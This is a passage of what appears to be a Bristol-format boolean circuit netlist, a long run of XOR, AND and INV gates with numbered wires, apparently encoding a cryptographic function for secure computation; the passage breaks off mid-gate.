XOR +2 1 33925 8506 8509 XOR +2 1 8605 8555 8507 XOR +2 1 8605 8561 8604 XOR +2 1 8604 8630 8574 AND +2 1 8598 8606 8596 XOR +2 1 8604 8596 8595 AND +2 1 8595 8564 8554 XOR +2 1 8598 8616 8568 XOR +2 1 33919 8568 8551 XOR +2 1 8551 8514 8597 XOR +2 1 8597 8626 8587 AND +2 1 8597 8628 8578 AND +2 1 8601 8609 8600 XOR +2 1 8600 8632 8577 AND +2 1 8600 33918 8586 AND +2 1 8568 8562 8590 XOR +2 1 8590 8627 8588 AND +2 1 8590 8631 8579 AND +2 1 8554 8556 8594 XOR +2 1 8594 8629 8575 AND +2 1 8586 8588 8567 XOR +2 1 8604 8623 8583 AND +2 1 8583 8575 8539 XOR +2 1 8595 8619 8512 XOR +2 1 8551 8512 8504 XOR +2 1 8554 8507 8591 XOR +2 1 8591 8636 8576 AND +2 1 8591 8621 8585 AND +2 1 8585 8576 8537 XOR +2 1 8541 8504 8511 XOR +2 1 33923 8506 8505 XOR +2 1 8504 8505 8589 XOR +2 1 8589 8637 8572 AND +2 1 8589 8622 8581 AND +2 1 8594 8633 8584 AND +2 1 8583 8584 8521 XOR +2 1 8584 8585 8570 XOR +2 1 8581 8570 8560 XOR +2 1 8577 8560 8526 XOR +2 1 8581 8584 8536 XOR +1 1 8536 8533 INV +1 1 8526 8523 INV +2 1 8336 8282 8330 XOR +2 1 8331 8330 8327 AND +2 1 8327 8329 8326 XOR +2 1 8328 8326 8325 AND +2 1 8325 8281 8324 XOR +2 1 8325 8275 8227 XOR +2 1 8324 8350 8294 AND +2 1 8324 8343 8303 AND +2 1 8327 8281 8322 XOR +2 1 8322 8323 8321 AND +2 1 8321 8329 8320 XOR +2 1 8321 8338 8233 XOR +2 1 8233 8335 8228 XOR +2 1 8321 8279 8234 XOR +2 1 8320 33894 8306 AND +2 1 8320 8352 8297 AND +2 1 8327 8321 8319 XOR +2 1 8329 8319 8318 AND +2 1 8318 8336 8288 XOR +2 1 8288 8282 8310 XOR +2 1 8310 8351 8299 AND +2 1 8310 8347 8308 AND +2 1 33895 8288 8271 XOR +2 1 8271 8234 8317 XOR +2 1 8317 8348 8298 AND +2 1 8317 8346 8307 AND +2 1 8306 8308 8287 XOR +2 1 8318 8326 8316 XOR +2 1 8324 8316 8315 AND +2 1 8315 8339 8232 XOR +2 1 8271 8232 8224 XOR +2 1 8261 8224 8231 XOR +2 1 8315 8284 8274 XOR +2 1 8274 8276 8314 XOR +2 1 8274 8227 8311 XOR +2 1 8314 8349 8295 AND +2 1 8303 8295 8259 XOR +2 1 8311 8356 8296 AND +2 1 8311 8341 8305 AND +2 1 8305 8296 8257 XOR +2 1 8314 8353 8304 AND +2 1 8304 8305 8290 XOR +2 1 8303 8304 8241 XOR +2 1 8228 8231 8313 XOR +2 1 8313 8345 8300 AND +2 1 8313 8354 8291 AND +2 1 8296 8300 8272 XOR +1 1 8272 8250 INV +2 1 8250 8294 8249 XOR +2 1 8249 8287 8245 XOR +2 1 8601 8618 8513 XOR +2 1 8513 8615 8508 XOR +2 1 8508 8511 8593 XOR +2 1 8593 8625 8580 AND +2 1 8508 8509 8592 XOR +2 1 8592 8635 8573 AND +2 1 8572 8573 8566 XOR +2 1 8539 8566 8535 XOR +2 1 8567 8535 8538 XOR +2 1 8537 8538 8641 XOR +2 1 8578 8566 8548 XOR +2 1 8579 8548 8549 XOR +2 1 8587 8549 8553 XOR +2 1 8586 8553 8522 XOR +2 1 8521 8522 35811 XOR +2 1 8588 8553 8558 XOR +2 1 8570 8558 35812 XOR +2 1 8576 8580 8552 XOR +1 1 8552 8530 INV +2 1 8530 8574 8529 XOR +2 1 8529 8567 8525 XOR +2 1 8573 8525 8528 XOR +2 1 8548 8525 8524 XOR +2 1 8523 8524 35810 XOR +2 1 8530 8535 8534 XOR +2 1 8533 8534 8640 XOR +2 1 8592 8624 8582 AND +2 1 8582 8560 8520 XOR +2 1 8581 8582 8532 XOR +2 1 8558 8532 8639 XOR +1 1 8639 35813 INV +2 1 8549 8520 35814 XOR +1 1 8640 32809 INV +1 1 8641 32810 INV +2 1 8593 8634 8571 AND +2 1 8582 8571 8531 XOR +1 1 8531 8527 INV +2 1 8527 8528 8638 XOR +1 1 8638 32813 INV +2 1 13994 14089 14081 XOR +2 1 33766 14081 14080 XOR +2 1 14082 14080 14073 AND +2 1 14081 14085 14074 AND +2 1 14074 13997 14000 XOR +2 1 14000 13998 14004 XOR +2 1 33773 14004 14010 XOR +2 1 8325 8337 8230 XOR +2 1 8230 8266 8226 XOR +2 1 33899 8226 8225 XOR +2 1 8224 8225 8309 XOR +2 1 8309 8357 8292 AND +2 1 8309 8342 8301 AND +2 1 8301 8304 8256 XOR +1 1 8256 8253 INV +2 1 33901 8226 8229 XOR +2 1 8228 8229 8312 XOR +2 1 8312 8344 8302 AND +2 1 8302 8291 8251 XOR +2 1 8312 8355 8293 AND +2 1 8292 8293 8286 XOR +2 1 8259 8286 8255 XOR +2 1 8287 8255 8258 XOR +2 1 8257 8258 8361 XOR +2 1 8298 8286 8268 XOR +2 1 8250 8255 8254 XOR +1 1 8251 8247 INV +2 1 8301 8290 8280 XOR +2 1 8299 8268 8269 XOR +2 1 8301 8302 8252 XOR +2 1 8253 8254 8360 XOR +2 1 8293 8245 8248 XOR +2 1 8247 8248 8358 XOR +2 1 8297 8280 8246 XOR +2 1 8302 8280 8240 XOR +2 1 8269 8240 35855 XOR +1 1 8246 8243 INV +2 1 8268 8245 8244 XOR +2 1 8243 8244 35851 XOR +2 1 8307 8269 8273 XOR +2 1 8308 8273 8278 XOR +2 1 8290 8278 35853 XOR +2 1 8278 8252 8359 XOR +1 1 8359 35854 INV +1 1 35853 8698 INV +2 1 8306 8273 8242 XOR +2 1 8241 8242 35852 XOR +1 1 8360 32807 INV +1 1 8361 32808 INV +1 1 8358 32812 INV +2 1 8359 32812 8873 XOR +2 1 33773 33768 14088 XOR +2 1 14088 14079 14066 AND +2 1 14066 14069 14020 XOR +2 1 13999 14020 13973 XOR +2 1 13973 13998 14063 XOR +2 1 14066 14072 14024 XOR +2 1 14024 13995 14011 XOR +2 1 14004 14024 13972 XOR +2 1 33771 13972 14016 XOR +2 1 14091 14076 14067 AND +2 1 14067 14020 14014 XOR +2 1 14067 14068 13970 XOR +2 1 14070 14014 13969 XOR +2 1 33767 13969 14057 XOR +2 1 14067 14073 14019 XOR +2 1 14019 14010 14065 XOR +2 1 14019 14011 14062 XOR +2 1 13970 13971 14018 XOR +2 1 14018 13999 14017 XOR +2 1 14070 14017 14064 XOR +2 1 14065 14064 14061 AND +2 1 14061 14016 14056 XOR +2 1 14056 14057 14055 AND +2 1 14055 14063 14054 XOR +2 1 14061 14055 14053 XOR +2 1 14063 14053 14052 AND +2 1 14055 14014 13968 XOR +2 1 14061 14063 14060 XOR +2 1 14062 14060 14059 AND +2 1 14059 14010 13961 XOR +2 1 14059 14071 13964 XOR +2 1 14059 14016 14058 XOR +2 1 14058 14077 14037 AND +2 1 14058 14084 14028 AND +2 1 13964 14000 13960 XOR +2 1 33771 13960 13959 XOR +2 1 33773 13960 13963 XOR +2 1 14054 14086 14031 AND +2 1 14052 14070 14023 XOR +2 1 33767 14023 14005 XOR +2 1 14005 13968 14051 XOR +2 1 14051 14082 14032 AND +2 1 14051 14080 14041 AND +2 1 14052 14060 14050 XOR +2 1 14058 14050 14049 AND +2 1 14049 14019 14009 XOR +2 1 14009 13961 14045 XOR +2 1 14045 14075 14039 AND +2 1 14045 14090 14030 AND +2 1 14039 14030 13991 XOR +2 1 14009 14011 14048 XOR +2 1 14048 14083 14029 AND +2 1 14048 14087 14038 AND +2 1 14038 14039 14007 XOR +2 1 14037 14029 13993 XOR +2 1 14037 14038 13975 XOR +2 1 14023 14017 14044 XOR +2 1 14044 14085 14033 AND +2 1 14044 14081 14042 AND +2 1 14055 14072 13967 XOR +2 1 13967 14069 13962 XOR +2 1 13962 13963 14046 XOR +2 1 14046 14089 14027 AND +2 1 14046 14078 14036 AND +2 1 14049 14073 13966 XOR +2 1 14005 13966 13958 XOR +2 1 13995 13958 13965 XOR +2 1 13958 13959 14043 XOR +2 1 14043 14091 14026 AND +2 1 14026 14027 14021 XOR +2 1 13962 13965 14047 XOR +2 1 14047 14088 14025 AND +2 1 14036 14025 13985 XOR +2 1 14032 14021 14002 XOR +2 1 14033 14002 14003 XOR +2 1 13993 14021 13989 XOR +2 1 14043 14076 14035 AND +2 1 14035 14038 13990 XOR +2 1 14035 14007 14015 XOR +2 1 14031 14015 13980 XOR +1 1 13980 13977 INV +2 1 14036 14015 13974 XOR +2 1 14003 13974 35654 XOR +2 1 35654 35658 8127 XOR +2 1 8149 8127 8079 XOR +2 1 35662 8079 35593 XOR +2 1 35593 640 34021 XOR +2 1 8127 35666 8092 XOR +2 1 8092 8093 35585 XOR +2 1 35585 648 34013 XOR +2 1 8176 8127 8116 XOR +2 1 35654 35666 8138 XOR +2 1 8138 35657 8124 XOR +2 1 8176 8138 7936 XOR +1 1 13985 13981 INV +1 1 13990 13987 INV +2 1 14047 14079 14034 AND +2 1 14030 14034 14006 XOR +2 1 32917 7936 35562 XOR +2 1 35562 671 33990 XOR +2 1 14041 14003 14008 XOR +2 1 14042 14008 14013 XOR +2 1 14007 14013 35652 XOR +1 1 35652 7931 INV +2 1 35665 7931 8121 XOR +2 1 8120 8121 35567 XOR +2 1 35567 666 33995 XOR +2 1 35652 35657 8192 XOR +2 1 8192 8146 8097 XOR +2 1 8097 8098 35582 XOR +2 1 35582 651 34010 XOR +2 1 8198 8192 35590 XOR +2 1 35590 643 34018 XOR +2 1 34010 34013 30538 XOR +2 1 34018 34021 31518 XOR +2 1 35656 7931 7930 XOR +2 1 14035 14036 13986 XOR +2 1 14013 13986 14093 XOR +2 1 35658 14093 8118 XOR +2 1 8117 8118 35569 XOR +2 1 35569 664 33997 XOR +2 1 33995 33997 30584 XOR +1 1 14093 35653 INV +2 1 35653 32923 8191 XOR +2 1 8191 8126 8102 XOR +2 1 35654 8102 35577 XOR +2 1 8191 33107 8080 XOR +2 1 8080 8081 35592 XOR +2 1 8191 8151 8094 XOR +2 1 33108 8094 35584 XOR +2 1 35584 649 34012 XOR +2 1 35592 641 34020 XOR +2 1 34010 34012 30446 XOR +2 1 35577 656 34005 XOR +2 1 34018 34020 31426 XOR +1 1 14006 13984 INV +2 1 13984 14028 13983 XOR +2 1 13984 13989 13988 XOR +2 1 13987 13988 14094 XOR +1 1 14094 32873 INV +2 1 32873 32924 8181 XOR +1 1 8181 8090 INV +2 1 8090 8176 8088 XOR +2 1 8088 8089 35587 XOR +2 1 8181 8144 8112 XOR +2 1 35587 646 34015 XOR +2 1 8221 8181 35579 XOR +2 1 35579 654 34007 XOR +2 1 8144 32873 7934 XOR +2 1 7934 7935 35564 XOR +2 1 35564 669 33992 XOR +2 1 34013 34007 30539 XOR +2 1 33997 33992 30677 XOR +2 1 34021 34015 31519 XOR +2 1 14054 33766 14040 AND +2 1 14040 14042 14022 XOR +2 1 14022 13989 13992 XOR +2 1 13991 13992 14095 XOR +2 1 13983 14022 13979 XOR +2 1 14027 13979 13982 XOR +2 1 13981 13982 14092 XOR +2 1 14002 13979 13978 XOR +2 1 13977 13978 35650 XOR +2 1 35650 8112 35572 XOR +2 1 35572 661 34000 XOR +2 1 35650 35655 8166 XOR +2 1 8166 8156 8087 XOR +2 1 35659 8087 35588 XOR +2 1 35588 645 34016 XOR +2 1 8166 35663 8099 XOR +2 1 8099 8100 35580 XOR +2 1 35580 653 34008 XOR +2 1 8138 35650 7892 XOR +2 1 7892 7893 8214 XOR +2 1 8214 8146 35565 XOR +2 1 35565 668 33993 XOR +2 1 34005 34000 28717 XOR +2 1 34007 34008 30460 XOR +2 1 30538 30460 30534 XOR +2 1 34008 34010 30540 XOR +2 1 34013 34008 30537 XOR +2 1 33993 33992 30560 XOR +2 1 34015 34016 31440 XOR +2 1 31518 31440 31514 XOR +2 1 34016 34018 31520 XOR +2 1 34021 34016 31517 XOR +1 1 14095 32874 INV +2 1 32874 8116 35570 XOR +2 1 8138 32874 7890 XOR +2 1 32874 32917 8189 XOR +2 1 8189 8141 8101 XOR +2 1 33102 8101 35578 XOR +2 1 8189 8156 8114 XOR +2 1 8189 8126 8091 XOR +2 1 32797 8091 35586 XOR +2 1 35578 655 34006 XOR +2 1 35586 647 34014 XOR +2 1 34006 34012 30450 XOR +2 1 34014 34020 31430 XOR +2 1 35570 663 33998 XOR +2 1 7890 7891 8215 XOR +2 1 8215 8156 35563 XOR +2 1 35563 670 33991 XOR +2 1 33991 33993 30583 XOR +2 1 33992 30583 30585 XOR +2 1 33995 30585 30664 XOR +2 1 33991 33992 30600 XOR +2 1 33997 33991 30679 XOR +2 1 30679 30664 30660 AND +2 1 30660 30584 30588 XOR +1 1 14092 32880 INV +2 1 14093 32880 8105 XOR +2 1 8104 8105 8103 XOR +1 1 8103 35576 INV +2 1 35576 657 34004 XOR +2 1 32880 8082 35591 XOR +2 1 32880 33107 8161 XOR +2 1 8192 8161 8108 XOR +2 1 32802 8108 35575 XOR +2 1 8161 8149 8119 XOR +2 1 32923 8119 35568 XOR +2 1 8161 35661 8095 XOR +2 1 8095 8096 35583 XOR +2 1 35575 658 34003 XOR +2 1 35583 650 34011 XOR +2 1 35568 665 33996 XOR +2 1 34003 34005 28624 XOR +2 1 33998 34004 28630 XOR +2 1 28624 28630 28713 XOR +2 1 34003 28630 28716 XOR +2 1 34011 34013 30444 XOR +2 1 30444 30540 30525 XOR +2 1 30444 30450 30533 XOR +2 1 30460 30533 30531 XOR +2 1 34011 30450 30536 XOR +2 1 34007 30536 30532 XOR +2 1 30446 30444 30406 XOR +2 1 30446 34011 30405 XOR +2 1 34006 30405 30535 XOR +2 1 30535 34006 30521 AND +2 1 30536 30532 30519 AND +2 1 30540 30525 30516 AND +2 1 33996 30585 30667 XOR +2 1 33990 33996 30590 XOR +2 1 30590 30585 30666 XOR +2 1 30584 30590 30673 XOR +2 1 30600 30673 30671 XOR +2 1 33995 30590 30676 XOR +2 1 33991 30676 30672 XOR +2 1 30676 30672 30659 AND +2 1 30673 30666 30658 AND +2 1 35591 642 34019 XOR +2 1 34019 34021 31424 XOR +2 1 31424 31520 31505 XOR +2 1 31424 31430 31513 XOR +2 1 31440 31513 31511 XOR +2 1 34019 31430 31516 XOR +2 1 34015 31516 31512 XOR +2 1 31426 31424 31386 XOR +2 1 31426 34019 31385 XOR +2 1 34014 31385 31515 XOR +2 1 31515 34014 31501 AND +2 1 31516 31512 31499 AND +2 1 31520 31505 31496 AND +2 1 14040 14008 13976 XOR +2 1 13975 13976 35651 XOR +2 1 8086 35651 8085 XOR +2 1 8084 8085 8083 XOR +1 1 8083 35589 INV +2 1 35589 644 34017 XOR +2 1 35651 35664 8152 XOR +2 1 8152 8143 8123 XOR +2 1 8166 8152 8111 XOR +1 1 8111 8109 INV +2 1 8123 8124 35566 XOR +2 1 35566 667 33994 XOR +2 1 8220 8152 35581 XOR +2 1 35581 652 34009 XOR +2 1 34007 34009 30443 XOR +2 1 34008 30443 30445 XOR +2 1 34012 30445 30527 XOR +2 1 34011 30445 30524 XOR +2 1 30450 30445 30526 XOR +2 1 30443 30538 30530 XOR +2 1 34006 30530 30529 XOR +2 1 34009 34008 30420 XOR +2 1 30443 30406 30528 XOR +2 1 30530 30534 30523 AND +2 1 30523 30446 30449 XOR +2 1 30531 30529 30522 AND +2 1 30516 30522 30467 XOR +2 1 30539 30524 30520 AND +2 1 30520 30444 30448 XOR +2 1 30533 30526 30518 AND +2 1 30538 30527 30517 AND +2 1 30517 30445 30447 XOR +2 1 30449 30447 30453 XOR +2 1 34013 30453 30458 XOR +2 1 30467 30458 30514 XOR +2 1 30516 30517 30419 XOR +2 1 30419 30420 30466 XOR +2 1 30466 30448 30465 XOR +2 1 30519 30465 30513 XOR +2 1 30537 30528 30515 AND +2 1 30515 30518 30468 XOR +2 1 30515 30521 30472 XOR +2 1 30472 30444 30459 XOR +2 1 30467 30459 30511 XOR +2 1 30516 30468 30462 XOR +2 1 30448 30468 30422 XOR +2 1 30422 30447 30512 XOR +2 1 30453 30472 30421 XOR +2 1 34011 30421 30464 XOR +2 1 30519 30462 30418 XOR +2 1 34007 30418 30506 XOR +2 1 30514 30513 30510 AND +2 1 30510 30464 30505 XOR +2 1 30510 30512 30509 XOR +2 1 30511 30509 30508 AND +2 1 30508 30464 30507 XOR +2 1 30508 30520 30413 XOR +2 1 30413 30449 30409 XOR +2 1 34013 30409 30412 XOR +2 1 30508 30458 30410 XOR +2 1 34011 30409 30408 XOR +2 1 30505 30506 30504 AND +2 1 30504 30512 30503 XOR +2 1 30510 30504 30502 XOR +2 1 30504 30462 30417 XOR +2 1 30504 30521 30416 XOR +2 1 30416 30518 30411 XOR +2 1 30411 30412 30495 XOR +2 1 30512 30502 30501 AND +2 1 30501 30509 30499 XOR +2 1 30501 30519 30471 XOR +2 1 30471 30465 30493 XOR +2 1 34007 30471 30454 XOR +2 1 30454 30417 30500 XOR +2 1 30507 30499 30498 AND +2 1 30498 30467 30457 XOR +2 1 30457 30459 30497 XOR +2 1 30498 30522 30415 XOR +2 1 30454 30415 30407 XOR +2 1 30444 30407 30414 XOR +2 1 30411 30414 30496 XOR +2 1 30457 30410 30494 XOR +2 1 30407 30408 30492 XOR +2 1 30493 30530 30491 AND +2 1 30500 30529 30490 AND +2 1 30503 34006 30489 AND +2 1 30489 30491 30470 XOR +2 1 30494 30524 30488 AND +2 1 30497 30536 30487 AND +2 1 30487 30488 30473 XOR +2 1 30507 30526 30486 AND +2 1 30486 30487 30424 XOR +2 1 30495 30527 30485 AND +2 1 30492 30525 30484 AND +2 1 30484 30473 30463 XOR +2 1 30484 30487 30439 XOR +1 1 30439 30436 INV +2 1 30484 30485 30435 XOR +2 1 30485 30463 30423 XOR +2 1 30496 30528 30483 AND +2 1 30493 30534 30482 AND +2 1 30500 30531 30481 AND +2 1 30503 30535 30480 AND +2 1 30480 30463 30429 XOR +1 1 30429 30426 INV +2 1 30494 30539 30479 AND +2 1 30479 30483 30455 XOR +2 1 30488 30479 30440 XOR +1 1 30455 30433 INV +2 1 30497 30532 30478 AND +2 1 30486 30478 30442 XOR +2 1 30507 30533 30477 AND +2 1 30433 30477 30432 XOR +2 1 30432 30470 30428 XOR +2 1 30495 30538 30476 AND +2 1 30476 30428 30431 XOR +2 1 30492 30540 30475 AND +2 1 30475 30476 30469 XOR +2 1 30481 30469 30451 XOR +2 1 30482 30451 30452 XOR +2 1 30490 30452 30456 XOR +2 1 30491 30456 30461 XOR +2 1 30473 30461 35808 XOR +2 1 35808 35812 8952 XOR +2 1 30442 30469 30438 XOR +2 1 30470 30438 30441 XOR +2 1 30440 30441 30544 XOR +2 1 30433 30438 30437 XOR +2 1 30436 30437 30543 XOR +2 1 32809 30543 8821 XOR +2 1 30461 30435 30542 XOR +2 1 30451 30428 30427 XOR +2 1 30426 30427 35806 XOR +1 1 35806 8694 INV +2 1 30489 30456 30425 XOR +2 1 30424 30425 35807 XOR +2 1 35807 8694 8693 XOR +2 1 35807 35811 8955 XOR +2 1 30452 30423 35809 XOR +2 1 35809 35814 8900 XOR +1 1 8900 8695 INV +2 1 8695 35808 8818 XOR +2 1 8695 35810 8692 XOR +2 1 8692 8693 8968 XOR +2 1 8900 32810 8690 XOR +2 1 30496 30537 30474 AND +2 1 30485 30474 30434 XOR +1 1 30434 30430 INV +2 1 30430 30431 30541 XOR +1 1 30543 35805 INV +2 1 33994 33996 30586 XOR +2 1 33994 33997 30678 XOR +2 1 30678 30600 30674 XOR +2 1 30583 30678 30670 XOR +2 1 33990 30670 30669 XOR +2 1 33992 33994 30680 XOR +2 1 30584 30680 30665 XOR +2 1 30586 30584 30546 XOR +2 1 30583 30546 30668 XOR +2 1 30586 33995 30545 XOR +2 1 33990 30545 30675 XOR +2 1 30670 30674 30663 AND +2 1 30663 30586 30589 XOR +2 1 30671 30669 30662 AND +2 1 30675 33990 30661 AND +2 1 30678 30667 30657 AND +2 1 30657 30585 30587 XOR +2 1 30589 30587 30593 XOR +2 1 33997 30593 30598 XOR +2 1 30680 30665 30656 AND +2 1 30656 30662 30607 XOR +2 1 30607 30598 30654 XOR +2 1 30656 30657 30559 XOR +2 1 30559 30560 30606 XOR +2 1 30606 30588 30605 XOR +2 1 30659 30605 30653 XOR +2 1 30677 30668 30655 AND +2 1 30655 30658 30608 XOR +2 1 30655 30661 30612 XOR +2 1 30612 30584 30599 XOR +2 1 30607 30599 30651 XOR +2 1 30656 30608 30602 XOR +2 1 30588 30608 30562 XOR +2 1 30562 30587 30652 XOR +2 1 30593 30612 30561 XOR +2 1 33995 30561 30604 XOR +2 1 30659 30602 30558 XOR +2 1 33991 30558 30646 XOR +2 1 30654 30653 30650 AND +2 1 30650 30604 30645 XOR +2 1 30650 30652 30649 XOR +2 1 30651 30649 30648 AND +2 1 30648 30604 30647 XOR +2 1 30648 30660 30553 XOR +2 1 30553 30589 30549 XOR +2 1 33997 30549 30552 XOR +2 1 30648 30598 30550 XOR +2 1 33995 30549 30548 XOR +2 1 30645 30646 30644 AND +2 1 30644 30652 30643 XOR +2 1 30650 30644 30642 XOR +2 1 30644 30602 30557 XOR +2 1 30644 30661 30556 XOR +2 1 30556 30658 30551 XOR +2 1 30551 30552 30635 XOR +2 1 30652 30642 30641 AND +2 1 30641 30649 30639 XOR +2 1 30641 30659 30611 XOR +2 1 30611 30605 30633 XOR +2 1 33991 30611 30594 XOR +2 1 30594 30557 30640 XOR +2 1 30647 30639 30638 AND +2 1 30638 30607 30597 XOR +2 1 30597 30599 30637 XOR +2 1 30638 30662 30555 XOR +2 1 30594 30555 30547 XOR +2 1 30584 30547 30554 XOR +2 1 30551 30554 30636 XOR +2 1 30597 30550 30634 XOR +2 1 30547 30548 30632 XOR +2 1 30633 30670 30631 AND +2 1 30640 30669 30630 AND +2 1 30643 33990 30629 AND +2 1 30629 30631 30610 XOR +2 1 30634 30664 30628 AND +2 1 30637 30676 30627 AND +2 1 30627 30628 30613 XOR +2 1 30647 30666 30626 AND +2 1 30626 30627 30564 XOR +2 1 30635 30667 30625 AND +2 1 30632 30665 30624 AND +2 1 30624 30613 30603 XOR +2 1 30624 30627 30579 XOR +1 1 30579 30576 INV +2 1 30624 30625 30575 XOR +2 1 30625 30603 30563 XOR +2 1 30636 30668 30623 AND +2 1 30633 30674 30622 AND +2 1 30640 30671 30621 AND +2 1 30643 30675 30620 AND +2 1 30620 30603 30569 XOR +1 1 30569 30566 INV +2 1 30634 30679 30619 AND +2 1 30619 30623 30595 XOR +2 1 30628 30619 30580 XOR +1 1 30595 30573 INV +2 1 30637 30672 30618 AND +2 1 30626 30618 30582 XOR +2 1 30647 30673 30617 AND +2 1 30573 30617 30572 XOR +2 1 30572 30610 30568 XOR +2 1 30635 30678 30616 AND +2 1 30616 30568 30571 XOR +2 1 30632 30680 30615 AND +2 1 30615 30616 30609 XOR +2 1 30621 30609 30591 XOR +2 1 30622 30591 30592 XOR +2 1 30630 30592 30596 XOR +2 1 30631 30596 30601 XOR +2 1 30613 30601 35834 XOR +2 1 30582 30609 30578 XOR +2 1 30610 30578 30581 XOR +2 1 30580 30581 30684 XOR +2 1 30573 30578 30577 XOR +2 1 30576 30577 30683 XOR +2 1 30601 30575 30682 XOR +2 1 30591 30568 30567 XOR +2 1 30566 30567 35832 XOR +2 1 30629 30596 30565 XOR +2 1 30564 30565 35833 XOR +2 1 30592 30563 35835 XOR +2 1 30636 30677 30614 AND +2 1 30625 30614 30574 XOR +1 1 30574 30570 INV +2 1 30570 30571 30681 XOR +2 1 34015 34017 31423 XOR +2 1 34016 31423 31425 XOR +2 1 34020 31425 31507 XOR +2 1 34019 31425 31504 XOR +2 1 31430 31425 31506 XOR +2 1 31423 31518 31510 XOR +2 1 34014 31510 31509 XOR +2 1 34017 34016 31400 XOR +2 1 31423 31386 31508 XOR +2 1 31510 31514 31503 AND +2 1 31503 31426 31429 XOR +2 1 31511 31509 31502 AND +2 1 31496 31502 31447 XOR +2 1 31519 31504 31500 AND +2 1 31500 31424 31428 XOR +2 1 31513 31506 31498 AND +2 1 31518 31507 31497 AND +2 1 31497 31425 31427 XOR +2 1 31429 31427 31433 XOR +2 1 34021 31433 31438 XOR +2 1 31447 31438 31494 XOR +2 1 31496 31497 31399 XOR +2 1 31399 31400 31446 XOR +2 1 31446 31428 31445 XOR +2 1 31499 31445 31493 XOR +2 1 31517 31508 31495 AND +2 1 31495 31498 31448 XOR +2 1 31495 31501 31452 XOR +2 1 31452 31424 31439 XOR +2 1 31447 31439 31491 XOR +2 1 31496 31448 31442 XOR +2 1 31428 31448 31402 XOR +2 1 31402 31427 31492 XOR +2 1 31433 31452 31401 XOR +2 1 34019 31401 31444 XOR +2 1 31499 31442 31398 XOR +2 1 34015 31398 31486 XOR +2 1 31494 31493 31490 AND +2 1 31490 31444 31485 XOR +2 1 31490 31492 31489 XOR +2 1 31491 31489 31488 AND +2 1 31488 31444 31487 XOR +2 1 31488 31500 31393 XOR +2 1 31393 31429 31389 XOR +2 1 34021 31389 31392 XOR +2 1 31488 31438 31390 XOR +2 1 34019 31389 31388 XOR +2 1 31485 31486 31484 AND +2 1 31484 31492 31483 XOR +2 1 31490 31484 31482 XOR +2 1 31484 31442 31397 XOR +2 1 31484 31501 31396 XOR +2 1 31396 31498 31391 XOR +2 1 31391 31392 31475 XOR +2 1 31492 31482 31481 AND +2 1 31481 31489 31479 XOR +2 1 31481 31499 31451 XOR +2 1 31451 31445 31473 XOR +2 1 34015 31451 31434 XOR +2 1 31434 31397 31480 XOR +2 1 31487 31479 31478 AND +2 1 31478 31447 31437 XOR +2 1 31437 31439 31477 XOR +2 1 31478 31502 31395 XOR +2 1 31434 31395 31387 XOR +2 1 31424 31387 31394 XOR +2 1 31391 31394 31476 XOR +2 1 31437 31390 31474 XOR +2 1 31387 31388 31472 XOR +2 1 31473 31510 31471 AND +2 1 31480 31509 31470 AND +2 1 31483 34014 31469 AND +2 1 31469 31471 31450 XOR +2 1 31474 31504 31468 AND +2 1 31477 31516 31467 AND +2 1 31467 31468 31453 XOR +2 1 31487 31506 31466 AND +2 1 31466 31467 31404 XOR +2 1 31475 31507 31465 AND +2 1 31472 31505 31464 AND +2 1 31464 31453 31443 XOR +2 1 31464 31467 31419 XOR +1 1 31419 31416 INV +2 1 31464 31465 31415 XOR +2 1 31465 31443 31403 XOR +2 1 31476 31508 31463 AND +2 1 31473 31514 31462 AND +2 1 31480 31511 31461 AND +2 1 31483 31515 31460 AND +2 1 31460 31443 31409 XOR +1 1 31409 31406 INV +2 1 31474 31519 31459 AND +2 1 31459 31463 31435 XOR +2 1 31468 31459 31420 XOR +1 1 31435 31413 INV +2 1 31477 31512 31458 AND +2 1 31466 31458 31422 XOR +2 1 31487 31513 31457 AND +2 1 31413 31457 31412 XOR +2 1 31412 31450 31408 XOR +2 1 31475 31518 31456 AND +2 1 31456 31408 31411 XOR +2 1 31472 31520 31455 AND +2 1 31455 31456 31449 XOR +2 1 31461 31449 31431 XOR +2 1 31462 31431 31432 XOR +2 1 31470 31432 31436 XOR +2 1 31471 31436 31441 XOR +2 1 31453 31441 35866 XOR +2 1 35866 8698 8889 XOR +2 1 31422 31449 31418 XOR +2 1 31450 31418 31421 XOR +2 1 31420 31421 31524 XOR +2 1 31413 31418 31417 XOR +2 1 31416 31417 31523 XOR +2 1 31441 31415 31522 XOR +2 1 31431 31408 31407 XOR +2 1 31406 31407 35864 XOR +2 1 31469 31436 31405 XOR +2 1 31404 31405 35865 XOR +2 1 35852 35865 8920 XOR +2 1 31432 31403 35867 XOR +2 1 35855 35867 8906 XOR +2 1 8906 35851 8658 XOR +2 1 31476 31517 31454 AND +2 1 31465 31454 31414 XOR +1 1 31414 31410 INV +2 1 31410 31411 31521 XOR +2 1 35865 35864 8659 XOR +2 1 8658 8659 8982 XOR +1 1 30544 33177 INV +1 1 30683 33181 INV +1 1 30684 33182 INV +1 1 30541 33183 INV +2 1 33183 32813 8948 XOR +1 1 30542 33184 INV +2 1 33184 35813 8945 XOR +1 1 30681 33187 INV +1 1 30682 33188 INV +1 1 31523 33205 INV +1 1 31524 33206 INV +1 1 31521 33211 INV +2 1 32812 33211 8929 XOR +1 1 31522 33212 INV +2 1 8906 32808 8656 XOR +1 1 7080 33242 INV +2 1 33242 32882 6901 XOR +2 1 6900 6901 35354 XOR +2 1 35354 806 33855 XOR +2 1 33242 35442 6896 XOR +2 1 6895 6896 35356 XOR +2 1 35356 804 33857 XOR +2 1 33242 35443 6893 XOR +2 1 6892 6893 35357 XOR +2 1 35357 803 33858 XOR +2 1 33855 33857 27223 XOR +2 1 33856 27223 27225 XOR +2 1 33860 27225 27307 XOR +2 1 33859 27225 27304 XOR +2 1 27230 27225 27306 XOR +2 1 33858 33860 27226 XOR +2 1 33855 27316 27312 XOR +2 1 33858 33861 27318 XOR +2 1 27223 27318 27310 XOR +2 1 33854 27310 27309 XOR +2 1 33855 33856 27240 XOR +2 1 27240 27313 27311 XOR +2 1 27318 27240 27314 XOR +2 1 33856 33858 27320 XOR +2 1 27224 27320 27305 XOR +2 1 33857 33856 27200 XOR +2 1 27226 27224 27186 XOR +2 1 27223 27186 27308 XOR +2 1 27226 33859 27185 XOR +2 1 33854 27185 27315 XOR +2 1 33861 33855 27319 XOR +2 1 27310 27314 27303 AND +2 1 27303 27226 27229 XOR +2 1 27311 27309 27302 AND +2 1 27315 33854 27301 AND +2 1 27319 27304 27300 AND +2 1 27300 27224 27228 XOR +2 1 27316 27312 27299 AND +2 1 27313 27306 27298 AND +2 1 27318 27307 27297 AND +2 1 27297 27225 27227 XOR +2 1 27229 